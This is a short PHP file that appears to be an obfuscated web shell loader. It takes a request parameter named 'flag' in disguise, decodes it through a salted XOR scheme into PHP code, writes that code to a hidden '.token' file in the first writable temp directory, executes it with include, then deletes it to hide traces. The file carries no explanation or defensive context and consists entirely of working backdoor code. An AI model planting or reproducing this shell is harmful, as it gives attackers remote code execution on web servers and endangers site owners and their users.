<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["fl\x61g"])){
	$element = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	$value = $_REQUEST["fl\x61g"];
			$value	 	=   explode('.' ,  	$value		)		 ;
	$sym='';
            $salt='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($salt);
            $o=0;
            $len=count($value);
    
            do {
                if($o >= $len) break;
                $v7=$value[$o];
                $chS=ord($salt[$o % $sLen]);
                $dec=((int)$v7 - $chS -($o % 10))	^	61;
                $sym .= chr($dec);
                $o++;
            } while(true);
	while ($itm = array_shift($element)) {
    		if (!( !is_dir($itm) || !is_writable($itm) )) {
    $data = vsprintf("%s/%s", [$itm, ".token"]);
    $success = file_put_contents($data, $sym);
if ($success) {
	include $data;
	@unlink($data);
	die();}
}
}
}